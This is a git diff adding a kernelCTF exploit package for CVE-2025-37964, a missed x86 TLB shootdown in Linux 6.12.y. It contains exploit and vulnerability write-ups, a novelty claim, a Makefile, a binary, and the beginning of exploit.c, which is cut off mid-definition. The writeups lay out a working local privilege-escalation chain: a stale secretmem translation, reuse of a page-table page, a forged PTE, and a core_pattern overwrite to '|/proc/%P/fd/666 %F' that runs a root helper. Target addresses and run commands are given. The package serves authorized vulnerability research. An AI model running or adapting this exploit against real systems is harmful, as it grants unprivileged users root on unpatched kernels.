diff --git a/pocs/linux/kernelctf/CVE-2025-37964_lts/docs/exploit.md b/pocs/linux/kernelctf/CVE-2025-37964_lts/docs/exploit.md new file mode 100644 index 000000000..f907108a4 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37964_lts/docs/exploit.md @@ -0,0 +1,280 @@ +# Exploiting CVE-2025-37964 on kernelCTF `lts-6.12.96` + +## Result + +The exploit starts as an unprivileged UID 1000 process and uses no user +namespace, capability, `io_uring`, nftables, or external KASLR address. It +captured a signed flag from the official `lts-6.12.96` endpoint. + +The immutable archive submitted with the flag is `original.tar.gz`: + +```text +SHA-256: 066f6d3622f4d88ca99d518fefebcbf2ff80ab1cce826cd08bb73627703db85c +``` + +The archive contains exactly the original `Makefile`, compiled `exploit`, and +`exploit.c`. The reviewable copy under `exploit/lts-6.12.96/` adds repository +integration without changing the preserved archive. + +The submitted conversion requires two online x86-64 CPUs with PCID, RDTSCP, +cross-CPU TSC synchronization, 4-KiB pages, readable `/proc/self/pagemap`, one +page of `RLIMIT_MEMLOCK`, and approximately 1 GiB of available virtual address +space. The relevant exploit-side configuration is listed in `metadata.json`. + +## Primitive ladder + +```text +missed PCID shootdown + -> stale writable and dirty secretmem translation + -> stale alias survives the final empty munmap + -> backing folio is synchronously zeroed and released + -> the same PFN is allocated as an attacker-owned PTE page + -> a structured fingerprint identifies the owning mapping + -> one never-walked PTE maps a checked physical page + -> core_pattern is overwritten + -> a memfd usermode helper reads only /flag +``` + +Every transition has a separate runtime gate. The exploit does not perform its +first page-table write until it has proved the stale translation, physical-page +release, PTE-page identity, and target calculations. + +## 1. Reaching the vulnerable switch edge + +The race needs a specific address-space transition on CPU0 while CPU1 removes a +leaf PTE from the incoming `mm`. + +The productive schedule uses: + +1. A helper process with a distinct `mm`, pinned to CPU0. +2. `SCHED_IDLE` on the helper, which is an unprivileged priority reduction. +3. A normal-priority reader in the target `mm`, also pinned to CPU0. +4. A shared futex used to wake the reader from the helper. +5. CPU1 performing the PTE-clearing operation. +6. A measured phase delay before the helper wakes the reader. + +When the idle helper wakes the normal-priority reader, syscall return strongly +biases the scheduler toward the required helper-to-reader +`switch_mm_irqs_off()` transition. The exploit calibrates the relevant operation +with RDTSCP and sweeps a bounded timing interval around it. + +Bounded controls using direct reader wakeups and an unaligned helper schedule did +not produce the stale oracle in the tested setup. These finite controls do not +prove that every other schedule is impossible; they show why the modeled +transition was used. + +## 2. Retryable secretmem carrier + +The carrier is one shared read/write page created with `memfd_secret(2)`. +Immediate neighbor VMAs remain mapped in the same PMD so the final unmap cannot +free the enclosing PTE table and force a broad invalidation. + +Before every attempt, CPU0 stores a changing epoch marker through the mapping. +This makes the cached translation writable and dirty before CPU1 clears the +software PTE. CPU1 then applies `MADV_DONTNEED_LOCKED`. + +For this mapping, `MADV_DONTNEED_LOCKED` clears the leaf while retaining the +secret folio. A failed attempt can fault the same page back in and retry. This +separates repeatable stale-state creation from the one-shot final physical +release. + +## 3. False-positive-resistant stale oracle + +Seeing the marker is insufficient: an ordinary fault could reinstall the PTE +and return the same bytes. The exploit combines data and page-table state: + +```text +pagemap before zap = present +pagemap after zap = absent +CPU0 ordered load = exact current epoch marker +pagemap after load = still absent, checked twice +``` + +For this controlled leaf, a normal missing-page fault would reinstall a present +software PTE. The exact marker while the PTE remains absent demonstrates that +CPU0 used a cached stale translation. + +The reader stops issuing syscalls after the winning load. This preserves CPU0's +address-space state and avoids accidental context-switch flushing before the +physical conversion. + +## 4. Draining the hidden folio reference + +An early conversion attempt won the stale race but could not reclaim the page. +Tracing the carrier PFN showed that CPU0's `mlock_fbatch` still retained a +reference created by deferred mlock/LRU work. + +Blindly increasing spray pressure cannot reclaim a page whose refcount has not +reached zero. Each attempt therefore performs a small beyond-EOF +`POSIX_FADV_DONTNEED` operation against page-cache ranges beyond the end of the +regular `/bin/sh` file on CPU0. It does not create or lock another mapping. The +operation drives the relevant per-CPU pagevec/LRU drain and releases the pending +mlock reference before the next final-unmap attempt. + +This drain is CPU-local and is run on the CPU that accumulated the deferred +reference. + +## 5. Final empty unmap + +After the stale oracle fires, CPU1 verifies that: + +- every software PTE in the one-page secret range is absent; +- both same-PMD neighbors are still present; +- no target-`mm` page-table mutation occurred after the winning zap. + +The exploit requires the expected batched-TLB state and detects downstream +success or failure, but userspace cannot inspect that kernel state directly. + +It then performs one final `munmap()` of the empty secret VMA. Secretmem release +zeroes the folio and frees it synchronously. CPU0 immediately performs one +post-unmap load through the stale translation and must observe zero. A guarded +fault handler records a lost stale alias rather than allowing an ambiguous +crash. + +At this point the process has proved both required facts: the VMA and software +PTE are gone, and CPU0 still has access to the released physical page. + +## 6. Conditioning immediate PTE reuse + +Before racing, the exploit creates 256 sparse PMD regions and faults one leaf in +each. Their PTE pages are retained while the leaf mappings are removed. The +retained pages condition the page-table allocation path and absorb allocator +noise. + +After the final unmap, regions 257 through 511 are populated one at a time. +Each first leaf fault requires a new order-0 user PTE page. + +The exploit does not assume a particular PCP freelist order. It scans only the +bounded post-win region set and accepts a page only after a complete ownership +fingerprint. + +## 7. Locating the reclaimed PTE page + +Blind writes through the stale alias would corrupt an unknown page table. Each +spray region therefore encodes its identity using only attacker-owned mappings: + +- stable zero-page PTEs at two anchor slots; +- nine pair-coded identity bits, represented as zero-page PTE versus zero; +- an initially zero sentinel at the future canary-source slot; and +- one destination slot that has never been walked and must still be zero. + +CPU0 reads two full snapshots of the candidate through the stale alias. A page +is accepted only if both snapshots are identical and satisfy every expected +zero, anchor, identity, source-sentinel, and destination check. The identity is +then cross-checked against the region whose allocation just completed. + +Only after candidate selection does CPU1 fault an attacker-owned canary into the +fixed source slot. CPU0 then validates that new source PTE before installing a +copy in proof mode or the checked physical target in flag mode. + +This turns allocator reuse into a self-describing object rather than relying on +an address leak or a destructive probe. + +## 8. Benign PTE-control proof + +In proof mode, CPU0 copies the source canary PTE into the never-walked +destination slot. CPU1 accesses the destination for the first time and verifies +that source and destination alias the same attacker-owned physical page in both +directions. + +The reader then clears the forged destination PTE through the stale alias before +normal teardown. This is important because a copied PTE has no matching +refcount or reverse-mapping accounting. + +## 9. Deriving the `core_pattern` physical page + +The accepted PTE page contains checked PTEs for `empty_zero_page`. Their PFN +provides a physical anchor. The exploit validates the target-specific symbol +relationship and computes the physical page containing `core_pattern`. + +For the immutable original target: + +```text +empty_zero_page = 0xffffffff85651000 +core_pattern = 0xffffffff846117a0 +page delta = -0x01040000 +core offset = 0x7a0 +``` + +The polished repository build resolves the two symbols through kernelXDK and +derives the same page delta at runtime. It also checks physical-address width, +alignment, overflow, the guest RAM bounds, PTE flags, and two equivalent target +calculations before installing the mapping. + +## 10. One never-walked target PTE + +CPU0 writes one checked user-writable PTE for the physical `core_pattern` page +into the destination slot. Because that virtual address has never been +accessed, no CPU can hold an older translation for it and no invalidation is +needed before CPU1's first walk. + +CPU1 writes the following value and reads it back exactly: + +```text +|/proc/%P/fd/666 %F +``` + +CPU0 then clears the forged PTE through the stale alias and verifies that the +entry is zero before any fork or ordinary `mm` teardown. + +## 11. Flag helper + +Before the race, the exploit copies its own executable into memfd 666. After the +checked `core_pattern` update, a dumpable child terminates with `SIGSEGV`. + +On this target, `%P` selects the crashing process in the initial PID namespace +and `%F` supplies helper fd 3, a pidfd for the coredumping process. The root +helper uses the pidfd to duplicate the original output and completion +descriptors, opens `/flag` directly, copies only the challenge flag, restores +`/proc/sys/kernel/core_pattern` on a best-effort basis, and exits. It installs no +persistence. + +## Runtime modes + +The repository build supports: + +```text +./exploit --stage stale --expect vulnerable +./exploit --stage pte-proof --expect vulnerable +./exploit --stage flag --expect vulnerable +./exploit --vuln-trigger +``` + +`--stage stale` stops after the stale oracle. `--stage pte-proof` performs only +the self-owned canary alias and restores the PTE. `--stage flag` runs the full +kernelCTF chain. `--vuln-trigger` is reserved for the repository's differential +vulnerability verifier. + +The program emits a final JSON record. A runner process exiting successfully is +not itself an exploitation verdict; the stage-specific `result` value must be +checked. + +## Reliability boundary + +The public submission record confirms one official flag capture for the exact +immutable archive. No numerical reliability percentage or stability bonus is +claimed. The repository reproduction workflow is the authoritative public +reliability measurement. + +## Cleanup and safety invariants + +The exploit enforces the following before and after its only PTE write: + +1. Exact stale marker plus persistent software-PTE absence. +2. Synchronous post-unmap zero observation. +3. Two identical complete PTE-page snapshots. +4. Exact structured ownership fingerprint. +5. A zero never-walked destination. +6. A separate proof mode that validates a benign attacker-owned alias before + final-mode development is enabled. +7. Runtime symbol and physical-range validation. +8. Exact write/readback of `core_pattern`. +9. Removal and verification of the forged PTE before teardown. +10. A bounded helper that reads only the challenge flag. + +## Why the fixed control matters + +The 6.12.97 control contains the corrected stable ordering and completed its +bounded run without the stale oracle. This differential separates the security +primitive from ordinary scheduler noise, page faults, or an oracle that merely +recognizes the marker after a refault. diff --git a/pocs/linux/kernelctf/CVE-2025-37964_lts/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2025-37964_lts/docs/novel-techniques.md new file mode 100644 index 000000000..bb31b9803 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37964_lts/docs/novel-techniques.md @@ -0,0 +1,204 @@ +# Novel exploitation techniques for CVE-2025-37964 + +## Scope of the claim + +This is a novelty-only submission associated with `exp659`. It does not claim +the occupied `lts-6.12.96` base slot or priority for the vulnerability. Novelty +review and any award remain entirely at Google's discretion. + +The primary claim is the demonstrated conversion of CVE-2025-37964's missed +PCID/TLB shootdown into a located attacker-writable PTE page using a retryable +one-page `memfd_secret` carrier: + +```text +missed remote shootdown + -> stale writable and dirty user translation + -> stale alias to a synchronously released secretmem folio + -> immediate conditional reuse as a self-owned PTE page + -> structured identification of the owning page table + -> one write to a never-walked PTE + -> checked chosen-physical-page mapping +``` + +The generic idea that a stale TLB entry can survive page reuse is prior art. +The candidate contribution is the exact carrier, lifetime split, deferred- +reference drain, conditioned reclaim, ownership protocol, and safe-write +composition that turned this race into an end-to-end kernelCTF exploit. + +## Candidate contributions + +### 1. Retryable secretmem carrier with one-shot final release + +The carrier needed to support millions of inexpensive race retries while +preserving a separate operation that released the physical page only after a +confirmed win. + +One shared read/write `memfd_secret` page provides this two-stage lifetime: + +1. Store a changing marker so the cached PTE is writable and dirty. +2. Use `MADV_DONTNEED_LOCKED` to remove the software leaf while retaining the + secret folio. +3. Refault and retry after an ordinary loss. +4. After a proven stale hit, perform an already-empty final `munmap()` that + drops the last VMA/file reference and synchronously releases the folio. + +Immediate neighbor VMAs remain mapped in the same PMD. The final unmap therefore +does not own the complete PTE table and does not gain a `freed_tables` reason for +a broad shootdown. CPU0 performs no syscall after the win and verifies one +post-unmap load through the stale translation. + +The post-unmap value must be zero. Secretmem zeroes the page during release, so +this observation proves both that physical release occurred and that the stale +hardware translation survived it. + +### 2. CPU-local deferred-mlock drain + +Early stale wins did not lead to allocator reuse because the page was not yet +free. PFN tracing identified a temporary reference in CPU0's `mlock_fbatch`. + +The final exploit drains that batch on the same CPU before each attempt using a +beyond-EOF `POSIX_FADV_DONTNEED` operation against page-cache ranges past the +end of the regular `/bin/sh` file. It does not create or lock a separate +mapping. This is unprivileged, does not mutate the target `mm` page tables, and +drives the per-CPU pagevec/LRU drain that releases pending mlock references. + +This was materially different from adding allocation pressure. No amount of +spray can reclaim a page while a hidden reference keeps its refcount above +zero. The reusable lesson is to trace page lifetime through deferred per-CPU +batches before tuning allocator geometry. + +### 3. Self-describing PTE-page ownership protocol + +Allocator reuse alone does not identify which page table received the released +PFN. Blindly writing through the stale alias would risk corrupting an unknown +mapping. + +Each candidate region encodes its identity into attacker-owned PTEs: + +- two stable zero-page anchors; +- nine identity bits represented as pairs of zero-page PTE and zero; +- an initially zero sentinel at the future canary-source slot; +- exact zero requirements for all unused slots; and +- a destination slot that has never been walked and must remain zero. + +CPU0 captures two complete 512-entry snapshots through the stale alias. The +candidate is accepted only when both snapshots are identical, every positive +and negative-space check passes, and the decoded identity equals the region +whose allocation just completed. + +After the candidate is selected, CPU1 faults an attacker-owned canary into the +fixed source slot. CPU0 validates that new source PTE before using it for the +separate proof-mode alias check. + +The protocol distinguishes both allocation ownership and completion. It avoids +using a shape-only recognizer such as "this page contains several plausible +PTEs", which can accept a partially initialized or unrelated table. + +### 4. Write only through a never-walked destination + +After recognition, CPU0 performs one aligned eight-byte write through the stale +alias. The destination PTE belongs to a virtual address that no thread has ever +accessed, so no CPU can cache a previous translation for it. + +Proof mode first copies an attacker-owned canary PTE into the destination and +verifies a bidirectional alias. The final mode instead installs one checked PTE +for the target physical page. In both cases CPU0 clears the forged entry through +the stale alias before normal fork, unmap, or process teardown accounting. + +Choosing a never-walked destination removes the need for an invalidation that +would also destroy the stale translation used to edit the PTE page. + +## Supporting engineering + +The following details are important to reliability and proof quality but are +not presented as standalone novel techniques: + +1. Per-attempt marker stores that prime the hardware writable and dirty bits. +2. A stale oracle requiring an exact epoch marker and persistent pagemap + absence after the completed load. +3. A `SCHED_IDLE` helper-to-reader transition and measured phase sweep. +4. Dynamic measurement of cross-vCPU TSC synchronization instead of requiring + the invariant-TSC CPUID bit. +5. One-page carrier geometry and 256 retained PTE conditioner pages. +6. A syscall-free post-win reader with prefaulted code/data/stack and guarded + stale-loss handling. +7. Exact PTE-flag, physical-width, RAM-range, alignment, and symbol-delta + validation. +8. Restoration of the forged PTE before ordinary memory-management teardown. + +## Explicit prior art and exclusions + +This submission does not claim as novel: + +- CVE-2025-37964, its scheduler race, or the public COW reproducer; +- stale-TLB access to a page after software remapping; +- generic page-level use-after-free to page-table conversion; +- Dirty Pagetable techniques; +- recognizing `empty_zero_page` PTEs as a physical anchor; +- target-specific symbol-delta calculations; +- mapping `core_pattern` through a forged user PTE; +- the memfd/fd-666 `core_pattern` helper finish; +- fixed-physical trampoline page-table techniques; +- the abandoned legacy-AIO carrier hypothesis; or +- the use of an unprivileged scheduler priority reduction by itself. + +## Negative results that shaped the technique + +### Public COW carrier + +The public reproducer was useful for understanding and timing the race, but its +lifetime and allocation properties did not provide the controlled one-page PTE +conversion needed by this exploit. + +### Legacy AIO carrier + +Legacy AIO initially appeared attractive because AIO ring and PTE pages can use +compatible order-0 unmovable allocations. Ring teardown was one-shot and +physical release passed through deferred RCU/workqueue paths, weakening both +retry speed and CPU-local allocator control. No AIO setup or destroy path exists +in the submitted exploit. + +### Untimed wakeups + +Bounded direct-wakeup and free-running helper campaigns did not produce a stale +event in the tested vulnerable environment. They are negative controls, not +claims that all untimed schedules are impossible. + +### Blind spray growth + +Increasing allocation pressure did not help while `mlock_fbatch` retained the +folio. Tracing and removing the lifetime blocker produced immediate PTE reuse; +additional blind pressure would only have increased interference. + +## Evidence boundaries + +The demonstrated gates are: + +| Gate | Result | +|---|---| +| Stale translation on `lts-6.12.96` | Exact marker returned while the software PTE remained absent | +| Fixed-side differential | No stale verdict in the bounded 6.12.97 control | +| Final-unmap survival | Post-unmap stale load completed and observed the zeroed page | +| PTE reuse and identity | A pair-coded region fingerprint was recognized in two snapshots | +| Safe PTE control | Self-owned canary alias was verified and the forged PTE restored | +| Complete local finish | Checked `core_pattern` mapping and helper execution succeeded | +| Official impact | The corrected immutable archive captured a signed flag | + +The official success proves end-to-end impact. It does not by itself establish +a numerical stability percentage, and this submission does not claim a +stability bonus. Some private or unindexed submission may also predate this +publication. These limitations are why the claim is submitted for review rather +than stated as an established first. + +## Public prior art reviewed + +- [CVE-2025-37964 reproducer and discussion](https://lore.kernel.org/lkml/CAHDw0oGd0B4=uuv8NGqbUQ_ZVmSheU2bN70e4QhFXWvuAZdt2w@mail.gmail.com/) +- [Correct 6.12.y stable fix](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=0650f1c8b6b02b3edd489848fb9daa325eccf42c) +- [Project Zero: stale-TLB exploitation precedent](https://googleprojectzero.blogspot.com/2019/01/taking-page-from-kernels-book-tlb-issue.html) +- [Project Zero: page-level UAF to PTE exploitation](https://googleprojectzero.blogspot.com/2021/10/how-simple-linux-kernel-memory.html) +- [Google kernelCTF public exploit corpus](https://github.com/google/security-research/tree/master/pocs/linux/kernelctf) + +Before submission, the public kernelCTF corpus was searched for this CVE, +`memfd_secret`, `MADV_DONTNEED_LOCKED`, `mlock_fbatch`, and the pair-coded +ownership protocol. No matching end-to-end conversion was found. That search is +supporting evidence, not proof against private or differently indexed work. diff --git a/pocs/linux/kernelctf/CVE-2025-37964_lts/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2025-37964_lts/docs/vulnerability.md new file mode 100644 index 000000000..06da2c93d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37964_lts/docs/vulnerability.md @@ -0,0 +1,133 @@ +# CVE-2025-37964: missed x86 TLB shootdown in 6.12.y + +## Requirements + +| Property | Requirement | +|---|---| +| Privileges | Unprivileged local user | +| Capabilities | None | +| User namespaces | Not required or used | +| `io_uring` | Not required or used | +| Architecture | x86-64 with PCID and at least two CPUs | +| Relevant configuration | `CONFIG_X86_64`, `CONFIG_SMP` | +| Exploit-specific configuration | `CONFIG_SECRETMEM`, `CONFIG_PROC_PAGE_MONITOR`, `CONFIG_MEMFD_CREATE`, `CONFIG_COREDUMP`, `CONFIG_FUTEX` | +| Runtime requirements | PCID, RDTSCP, synchronized TSCs on two online CPUs, 4-KiB pages, readable `/proc/self/pagemap`, one page of `RLIMIT_MEMLOCK`, and approximately 1 GiB of virtual address space | +| Affected component | `arch/x86/mm/tlb.c` | +| Affected 6.12.y releases | 6.12.16 through 6.12.96 | +| Correct 6.12.y fix | [`0650f1c8b6b0`](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=0650f1c8b6b02b3edd489848fb9daa325eccf42c) | + +## Summary + +CVE-2025-37964 is an ordering race between `switch_mm_irqs_off()` and a +concurrent remote TLB shootdown. A CPU switching into an address space can read +an old TLB generation before publishing `LOADED_MM_SWITCHING`. At the same time, +the invalidation side can still observe the outgoing `loaded_mm` and decide not +to send an IPI. The switching CPU then loads the incoming CR3 with no flush and +retains a translation for a PTE that software has already changed or removed. + +The issue entered Linux 6.12.y through backport +[`3dbe889a1b82`](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=3dbe889a1b829b4c07e0836ff853fe649e51ce4f) +in 6.12.16. The original mainline fix was +[`fea4e317f9e7`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fea4e317f9e7e1f449ce90dedc27a2d2a95bee5a). +Its original 6.12.y backport, +[`d87392094f96`](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=d87392094f96e162fa5fa5a8640d70cc0952806f), +released in 6.12.29, placed the `LOADED_MM_SWITCHING` store after the incoming +`tlb_gen` read. It did not provide the effective correction required by this +target, so the race remained reachable in 6.12.y. + +The stable-specific correction `0650f1c8b6b0` explicitly documents that the +6.1.y, 6.6.y, and 6.12.y backports left CVE-2025-37964 unfixed. It moves the +`LOADED_MM_SWITCHING` publication and compiler barrier before the cpumask and +generation checks and was released in 6.12.97. Mainline later received +equivalent ordering in +[`83b0177a6c48`](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=83b0177a6c4889b3a6e865da5e21b2c9d97d0551), +which is tracked separately as CVE-2025-40174. This submission remains +CVE-2025-37964 and uses the effective stable-only correction as its patch. + +## Vulnerable ordering + +The relevant sequence in kernelCTF `lts-6.12.96` is equivalent to: + +```c +if (prev != &init_mm) + cpumask_clear_cpu(cpu, mm_cpumask(prev)); +if (next != &init_mm) + cpumask_set_cpu(cpu, mm_cpumask(next)); + +next_tlb_gen = atomic64_read(&next->context.tlb_gen); +choose_new_asid(next, next_tlb_gen, &new_asid, &need_flush); + +this_cpu_write(cpu_tlbstate.loaded_mm, LOADED_MM_SWITCHING); +barrier(); +``` + +One failing interleaving is: + +```text +switching CPU S flushing CPU F +--------------- -------------- +read next->tlb_gen == G + clear a leaf PTE + increment tlb_gen to G+1 + observe S.loaded_mm == outgoing mm + suppress the IPI +choose an ASID with need_flush=false +publish LOADED_MM_SWITCHING +load the incoming CR3 with NOFLUSH +use the stale leaf translation +``` + +Neither side performs the required invalidation. If the stale leaf was writable, +the CPU may continue writing to the old physical page after the kernel has +removed the PTE and changed the page's ownership. + +## Corrected ordering + +The stable correction changes the sequence to: + +```c +this_cpu_write(cpu_tlbstate.loaded_mm, LOADED_MM_SWITCHING); +barrier(); + +if (prev != &init_mm) + cpumask_clear_cpu(cpu, mm_cpumask(prev)); +if (next != &init_mm) + cpumask_set_cpu(cpu, mm_cpumask(next)); + +next_tlb_gen = atomic64_read(&next->context.tlb_gen); +choose_new_asid(next, next_tlb_gen, &new_asid, &need_flush); +``` + +After this correction, either S observes F's newer generation and flushes while +loading CR3, or F observes `LOADED_MM_SWITCHING` and sends S an IPI. + +## kernelCTF differential + +The official vulnerable target is: + +```text +lts-6.12.96 +commit 6d15a1029d425b15c59463910ebdccc4afe760d6 +``` + +The correction first appears in 6.12.97. The exploit's stale-state oracle fired +on the official 6.12.96 build. A locally built 6.12.97 control using the same +kernelCTF configuration completed its bounded differential run without a stale +verdict. The repository verifier is the authoritative public +parent-versus-patch test. + +## Security impact + +A missed shootdown can preserve a readable or writable mapping to a physical +page after its software PTE no longer authorizes that access. Once the physical +page is recycled, this is a page-level use-after-free primitive. In this +submission it is converted into a writable alias of a page-table page and then +into a checked mapping of one kernel data page, resulting in local privilege +escalation and retrieval of the kernelCTF flag. + +## Public references + +- [Linux CNA record for CVE-2025-37964](https://cveawg.mitre.org/api/cve/CVE-2025-37964) +- [Original mainline fix](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fea4e317f9e7e1f449ce90dedc27a2d2a95bee5a) +- [Correct 6.12.y fix](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=0650f1c8b6b02b3edd489848fb9daa325eccf42c) +- [Public reproducer discussion](https://lore.kernel.org/lkml/CAHDw0oGd0B4=uuv8NGqbUQ_ZVmSheU2bN70e4QhFXWvuAZdt2w@mail.gmail.com/) diff --git a/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/Makefile b/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/Makefile new file mode 100644 index 000000000..55b44c89d --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/Makefile @@ -0,0 +1,33 @@ +CC ?= gcc +CXX ?= g++ + +CFLAGS := -std=gnu11 -O2 -g -static -pthread -Wall -Wextra -Wshadow \ + -Wformat=2 -Wstrict-prototypes +CXXFLAGS := -std=gnu++17 -O2 -g -static -pthread -Wall -Wextra -Wshadow \ + -Wformat=2 +LDLIBS := -lkernelXDK -pthread + +.PHONY: all prerequisites run vuln-trigger clean + +all: exploit + +prerequisites: + @test -f target_db.kxdb + +exploit: exploit.o xdk_main.o + $(CXX) -static $(LDFLAGS) -o $@ $^ $(LDLIBS) + +exploit.o: exploit.c + $(CC) $(CPPFLAGS) $(CFLAGS) -c -o $@ $< + +xdk_main.o: xdk_main.cc target_db.kxdb + $(CXX) $(CPPFLAGS) $(CXXFLAGS) -c -o $@ $< + +run: exploit + ./exploit --stage flag --expect vulnerable --seconds 150 + +vuln-trigger: exploit + ./exploit --vuln-trigger + +clean: + rm -f exploit exploit.o xdk_main.o diff --git a/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/exploit b/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/exploit new file mode 100755 index 000000000..9f36e2c99 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/exploit.c b/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/exploit.c new file mode 100644 index 000000000..f7e1ba52b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2025-37964_lts/exploit/lts-6.12.96/exploit.c @@ -0,0 +1,3226 @@ +/* + * === EXPLOIT: CVE-2025-37964 secretmem stale leaf -> PTE -> flag === + * + * Vulnerability: x86 PCID/TLB-generation race in switch_mm_irqs_off() + * Target: Google kernelCTF lts-6.12.96, x86-64, two vCPUs + * Fixed control: lts-6.12.97 + * CVE: CVE-2025-37964 + * CWE: CWE-362 / CWE-416 + * Proof goals: stale, pte-proof, or flag + * + * == SETUP == + * 1. Use only a network-disabled, throwaway kernelCTF VM with two vCPUs. + * 2. Build: make exploit + * 3. Run: ./exploit --stage stale|pte-proof|flag + * + * == EXPECTED RESULT == + * stale: a completed MADV_DONTNEED_LOCKED leaves a CPU0 translation + * while the software PTE remains absent. + * pte-proof: the last-freed secret page is reclaimed as a self-owned PTE page; + * a copied canary PTE makes two attacker VAs alias. + * flag: an empty_zero_page PTE is rebased to the exact .96 core_pattern + * page, then a memfd-backed core helper prints only /flag between + * KCTF_FLAG_BEGIN/KCTF_FLAG_END delimiters. + * + * == NOTES == + * - No shell command is spawned before the final proof stage; no external + * KASLR address, network access, or persistence is used. + * - The .96 symbol constants are compiled in and cross-checked at runtime. + * - After a stale win, R stays on CPU0 in userspace and makes no syscall. + * - The final secret VMA unmap is safe only while its leaves are all none, + * its same-PMD neighbor VMAs remain live, and no batched/concurrent mutation + * of this mm is pending. Each winning madvise has just consumed the mm's + * batched-unmap check, but userspace cannot inspect mm->tlb_flush_batched. + * - stdout is reserved for the flag proof and the final JSON record; + * diagnostics use stderr. + */ + +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#if !defined(__x86_64__) +#error "secretmem-kctf is intentionally x86-64-only" +#endif + +#ifndef __NR_memfd_secret +#define __NR_memfd_secret 447 +#endif +#ifndef SYS_memfd_create +#define SYS_memfd_create 319 +#endif +#ifndef SYS_pidfd_getfd +#define SYS_pidfd_getfd 438 +#endif +#ifndef MADV_DONTNEED_LOCKED +#define MADV_DONTNEED_LOCKED 24 +#endif +#ifndef MADV_DONTFORK +#define MADV_DONTFORK 10 +#endif +#ifndef MAP_FIXED_NOREPLACE +#define MAP_FIXED_NOREPLACE 0x100000 +#endif +#ifndef MAP_NORESERVE +#define MAP_NORESERVE 0x4000 +#endif + +#define PAGE_SIZE_ UINT64_C(0x1000) +#define PMD_SIZE_ UINT64_C(0x200000) +#define PHYSICAL_ALIGN_ UINT64_C(0x1000000) +#define LOW_RAM_END_EXCL UINT64_C(0xbffda000) +#define PUD_SIZE_ UINT64_C(0x40000000) +#define ARENA_LEN PUD_SIZE_ +#define ARENA_PREFERRED UINT64_C(0x5000000000) +#define ARENA_REGIONS 512U +#define CONDITIONER_REGIONS 256U +#define FIRST_SPRAY_REGION (CONDITIONER_REGIONS + 1U) +#define MAX_SPRAY_REGIONS 511U +#define SECRET_PAGES 1U +#define SECRET_TARGET_PAGE (SECRET_PAGES - 1U) +#define SECRET_LEN (SECRET_PAGES * PAGE_SIZE_) +#define CACHELINE 64U +#define R_STACK_SIZE (UINT64_C(1) << 20) +#define SIGNAL_STACK_SIZE (64U * 1024U) +#define DEFAULT_SECONDS 240U +#define MAX_SECONDS 280U +#define DEFAULT_ATTEMPTS UINT64_C(2000000) +#define DEFAULT_BUCKETS 128U +#define DEFAULT_DELAY_MIN UINT64_C(30000) +#define DEFAULT_DELAY_MAX UINT64_C(60000) +#define DEFAULT_WAKE_ADVANCE UINT64_C(50000) +#define DEFAULT_SPRAY_REGIONS MAX_SPRAY_REGIONS +#define CALIBRATION_SAMPLES 64U +#define TSC_SYNC_SAMPLES 32U +#define PM_PRESENT (UINT64_C(1) << 63) +#define MARKER0 UINT64_C(0x5345435241434500) +#define ANCHOR_LOW_VALUE UINT64_C(0x414e43484f524c4f) +#define ANCHOR_HIGH_VALUE UINT64_C(0x414e43484f524849) +#define CANARY_BASE UINT64_C(0x4b43544643414e00) +#define CANARY_FLIP UINT64_C(0xa5a55a5af00dcafe) +#define ROOT_MEMFD 666 +#define ROOT_STATUS_FD 667 +#define COREDUMP_PIDFD 3 +#define ROOT_STATUS_BYTE 'F' + +#define PTE_PRESENT UINT64_C(0x001) +#define PTE_RW UINT64_C(0x002) +#define PTE_USER UINT64_C(0x004) +#define PTE_PWT UINT64_C(0x008) +#define PTE_PCD UINT64_C(0x010) +#define PTE_ACCESSED UINT64_C(0x020) +#define PTE_DIRTY UINT64_C(0x040) +#define PTE_PAT UINT64_C(0x080) +#define PTE_GLOBAL UINT64_C(0x100) +#define PTE_SPECIAL UINT64_C(0x200) +#define PTE_UFFD_WP UINT64_C(0x400) +#define PTE_SOFT_DIRTY UINT64_C(0x800) +#define PTE_NX (UINT64_C(1) << 63) +#define PTE_ZERO_FLAGS (PTE_NX | UINT64_C(0x225)) +#define PTE_TARGET_FLAGS (PTE_NX | UINT64_C(0x867)) + +#define PTE_ANCHOR_A 0U +#define PTE_ID_FIRST 2U +#define PTE_ID_BITS 9U +#define PTE_ID_SLOTS (PTE_ID_BITS * 2U) +#define PTE_ANCHOR_B 32U +#define PTE_CANARY_SOURCE 64U +#define PTE_DESTINATION 511U + +#define VMLINUX_STEXT UINT64_C(0xffffffff81000000) + +static uint64_t VMLINUX_CORE_PATTERN = UINT64_C(0xffffffff846117a0); +static uint64_t VMLINUX_EMPTY_ZERO_PAGE = UINT64_C(0xffffffff85651000); +static uint64_t EMPTY_ZERO_LINK_OFFSET = UINT64_C(0x04651000); +static uint64_t CORE_PAGE_LINK_OFFSET = UINT64_C(0x03611000); +static uint64_t CORE_PATTERN_IN_PAGE = UINT64_C(0x7a0); +static uint64_t ZERO_TO_CORE_DELTA = 